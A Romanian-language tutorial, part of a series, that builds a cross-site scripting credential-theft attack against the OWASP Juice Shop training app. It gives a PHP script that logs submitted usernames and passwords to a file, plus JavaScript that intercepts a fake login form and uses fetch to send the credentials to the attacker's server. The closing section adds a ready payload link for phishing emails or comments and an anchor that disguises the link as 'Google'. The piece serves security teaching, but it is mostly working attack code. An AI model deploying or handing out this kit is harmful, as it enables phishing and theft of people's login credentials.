Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea VI

Cum adaugam functionatitatea formularului de a trimite datele la serverul atacatorului ?

Să adăugăm funcționalitatea pentru a trimite datele colectate de formularul nostru, folosind cod JavaScript. In acest sens trebuie să creem fișierul PHP care va salva datele de logare colectate de formular. Pentru a face acest lucru, să mergem la Codeanywhere și să creăm un fișier nou numit credentials.php

In primul rand vom folosi functia error_reporting pentru a impiedica PHP sa afiseze erorile direct in consola.

error_reporting(0);

Mai departe, vom defini o variabilă numită $user pentru a stoca valoarea numelui de utilizator. După cum observați, în limbajul PHP, variabilele încep cu un semn dolar ($). Valoarea numelui de utilizator ne va fi transmisă ca parametru în șirul de interogare al adresei URL.

Pentru a accesa parametrii trecuți în URL, putem folosi $ _GET. Variabila $ _GET conține toți parametrii și valorile trecute în șirul de interogare al adresei URL. Șirul de interogare este partea care vine după simbolul (?) si este compus din perechi de valori cheie separate printr-un semn „ampersand” (&) astfel:

?parameter0=value0&parameter1=value1&parameter2=value2

Pentru a accesa valoarea variabilei parameter, vom folosi $_GET[“parameter”].

In cazul nostru particular, pentru a accesa valorile user si parola vom folosi:

$user = $_GET[“user”];
$pass = $_GET[“pass”];

Dupa ce recuperam numele de utilizator și parola din adresa URL, le vom salva într-un fișier pe care l-am numit credentials.txt. Pentru a face acest lucru, să deschidem fișierul utilizând funcția fopen. Există mai multe moduri pentru a deschide un fișier pentru a lucra cu acesta. În acest caz, vom deschide fișierul cu modul a +, ceea ce înseamnă următoarele:

  1. Daca fisierul nu exista, creaza-l
  2. Daca fisierul exista, deschide-l si adauga continut in el

$file = fopen(“credentials.txt”, “a+”);

Acum să scriem numele de utilizator și parola în acest fișier. Pentru a face acest lucru, folosim funcția fwrite. Trebuie să transmitem funcției fwrite o referință la fișier, în cazul nostru variabila $file și apoi conținutul pe care dorim să-l scriem. Simbolul punct concatenează (unește) șiruri, iar \n înseamnă ca introducem o linie nouă:

fwrite($file, $user . “, ” . $pass . “\n”);

Odată ce terminăm de lucrat cu fișierul, ar trebui să îl închidem pentru a ne asigura că modificările sunt salvate corect în fișierul credentials.txt:

fclose($file);

Salvam continutul credentials.php care ar trebui sa arate asa:

Daca-l accesam direct vom vedea o pagina goala, deoarece scriptul nu primeste in URL parametrii user si parola.

Daca in schimb testam fisierul completand in URL parametrii user si parola si tastam Enter https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass=testpass

chiar dacă pare că nu s-a întâmplat nimic, dacă ne întoarcem in Codeanywhere, vom putea vedea un nou fișier numit credentials.txt care conține valorile trecute în șirul de interogare pentru user și pass:

Acum că ne-am testat fișierul credentials.php și vedem că funcționează, să codam funcționalitatea formularului astfel încât, atunci când utilizatorul face clic pe butonul Verify, numele de utilizator și parola vor fi trimise la această adresă URL.

În Codeanywhere deschideți fișierul JavaScript. În primul rând, vom adăuga ceea ce se numește un event handler. Un event handler ne permite să răspundem la diferite evenimente care se pot avea loc într-o pagină web. În cazul nostru, suntem interesați de trimiterea (submit) formularului.

Pentru a adăuga un event handler, folosim metoda addEventListener, trecând ca argument numele evenimentului pe care dorim să îl gestionăm (Submit în cazul nostru) și apoi o funcție cu cod pe care dorim să o executăm de fiecare dată când se întâmplă evenimentul. Codul arată astfel:

form.addEventListener(“submit”, event => {});

The event=>{} este un alt mod de a defini o functie.
In loc sa o declarati:

function(event){}  puteti sa o definiti astfel:

event => {}

În interiorul parantezelor {} se trece codul JavaScript care va fi executat la trimiterea formularului.

Primul lucru pe care vrem să îl facem este să prevenim comportamentul implicit al evenimentului de trimitere (Submit).

De fiecare dată când trimitem un formular, în mod implicit, browserul redirecționează utilizatorul către adresa URL care figurează în atributul de acțiune al formularului. Cu toate acestea, în acest caz, nu vrem
utilizatorului să fie redirecționat către serverul nostru, dorim ca acesta să rămână pe loc, pe pagina. Pentru a preveni acest comportament implicit, folosim metoda preventDefault  a evenimentului Submit:

event.preventDefault();

În continuare, să trimitem credentialele la adresa URL a serverului nostru. Pentru a face acest lucru, vom folosi funcția fetch. Mai întâi să copiem adresa URL unde dorim să trimitem numele de utilizator și parola utilizatorului, ceva gen:

‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass =testpass’

Prin urmare, de fiecare dată când cineva face clic pe butonul de trimitere (Verify), numele de utilizator și parola introduse în formular vor fi incluse în adresa URL. De asemenea, în scopul acestei demonstrații și pentru a evita problemele cu CORS (Cross-Origin Resource Sharing), pe lângă adresa URL ca prim argument pentru funcția de preluare, vom trece un al doilea argument care setează proprietatea modului cererii pentru a avea valoare no-cors. Codul va arăta astfel:

fetch(‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=${userInput.v alue}&pass=${passInput.value}’,{mode: “no-cors”});

In final ascundem div-ul, ca sa pastram utilizatorul pe pagina OWASP Juice shop.

div.style.display = “none”;

In final codul va arata asa:

Salveaza fisierul.

Accesați aplicația OWASP Juice Shop și utilizați <script src= ></script> pentru a încărca scriptul nostru in caseta de cautare Search, așa cum am făcut înainte:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Dupa ce accesati butonul Search, se va afisa formularul nostru care va solicita verificarea user /parola.

Completam la user “you@got.me” si la parola “donottellanyone”. Daca mergem acum si deschidem fisierul credentials.txt vom vedea colectate informatiile completate in formular.

Cu aceasta am incheiat aceasta demonstratie.

Acest atac poate fi livrat doar prin partajarea următorului link printr-un e-mail de phishing, printr-un site web malicios, sau doar lăsând o notă în secțiunea de comentarii:

https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Sunt, de asemenea, multe tehnici de a ascunde un link, cum ar fi aceasta:

<a href=’https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>’>Google</a>